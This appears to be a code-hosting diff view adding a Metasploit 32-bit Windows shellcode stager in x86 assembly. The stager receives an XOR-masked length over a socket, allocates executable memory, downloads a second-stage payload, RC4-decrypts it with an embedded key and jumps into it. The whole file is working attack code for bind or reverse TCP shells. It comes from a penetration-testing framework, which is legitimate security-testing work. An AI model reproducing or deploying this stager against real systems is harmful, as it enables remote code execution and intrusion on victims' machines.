|
| 1 | +;-----------------------------------------------------------------------------; |
| 2 | +; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) |
| 3 | +; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support] |
| 4 | +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 |
| 5 | +; Version: 1.0 (31 December 2012) |
| 6 | +;-----------------------------------------------------------------------------; |
| 7 | +[BITS 32] |
| 8 | + |
| 9 | +; Same as block_recv, only that the length will be XORed and the stage will be RC4 decoded. |
| 10 | +; Differences to block_recv are indented two more spaces. |
| 11 | + |
| 12 | +; Compatible: block_bind_tcp, block_reverse_tcp |
| 13 | + |
| 14 | +; Input: EBP must be the address of 'api_call'. EDI must be the socket. ESI is a pointer on stack. |
| 15 | +; Output: None. |
| 16 | +; Clobbers: EAX, EBX, ECX, EDX, ESI, (ESP will also be modified) |
| 17 | + |
| 18 | +recv: |
| 19 | + ; Receive the size of the incoming second stage... |
| 20 | + push byte 0 ; flags |
| 21 | + push byte 4 ; length = sizeof( DWORD ); |
| 22 | + push esi ; the 4 byte buffer on the stack to hold the second stage length |
| 23 | + push edi ; the saved socket |
| 24 | + push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) |
| 25 | + call ebp ; recv( s, &dwLength, 4, 0 ); |
| 26 | + ; Alloc a RWX buffer for the second stage |
| 27 | + mov esi, [esi] ; dereference the pointer to the second stage length |
| 28 | + xor esi, "XORK" ; XOR the stage length |
| 29 | + lea ecx, [esi+0x00] ; ECX = stage length + S-box length (alloc length) |
| 30 | + push byte 0x40 ; PAGE_EXECUTE_READWRITE |
| 31 | + push 0x1000 ; MEM_COMMIT |
| 32 | +; push esi ; push the newly recieved second stage length. |
| 33 | + push ecx ; push the alloc length |
| 34 | + push byte 0 ; NULL as we dont care where the allocation is. |
| 35 | + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) |
| 36 | + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
| 37 | + ; Receive the second stage and execute it... |
| 38 | +; xchg ebx, eax ; ebx = our new memory address for the new stage + S-box |
| 39 | + lea ebx, [eax+0x100] ; EBX = new stage address |
| 40 | + push ebx ; push the address of the new stage so we can return into it |
| 41 | + push esi ; push stage length |
| 42 | + push eax ; push the address of the S-box |
| 43 | +read_more: ; |
| 44 | + push byte 0 ; flags |
| 45 | + push esi ; length |
| 46 | + push ebx ; the current address into our second stage's RWX buffer |
| 47 | + push edi ; the saved socket |
| 48 | + push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) |
| 49 | + call ebp ; recv( s, buffer, length, 0 ); |
| 50 | + add ebx, eax ; buffer += bytes_received |
| 51 | + sub esi, eax ; length -= bytes_received |
| 52 | + test esi, esi ; test length |
| 53 | + jnz read_more ; continue if we have more to read |
| 54 | + pop ebx ; address of S-box |
| 55 | + pop ecx ; stage length |
| 56 | + pop ebp ; address of stage |
| 57 | + push ebp ; push back so we can return into it |
| 58 | + push edi ; save socket |
| 59 | + mov edi, ebx ; address of S-box |
| 60 | + call after_key ; Call after_key, this pushes the address of the key onto the stack. |
| 61 | + db "RC4KeyMetasploit" |
| 62 | +after_key: |
| 63 | + pop esi ; ESI = RC4 key |
| 64 | +%include "./src/block/block_rc4.asm" |
| 65 | + pop edi ; restore socket |
| 66 | + ret ; return into the second stage |
0 commit comments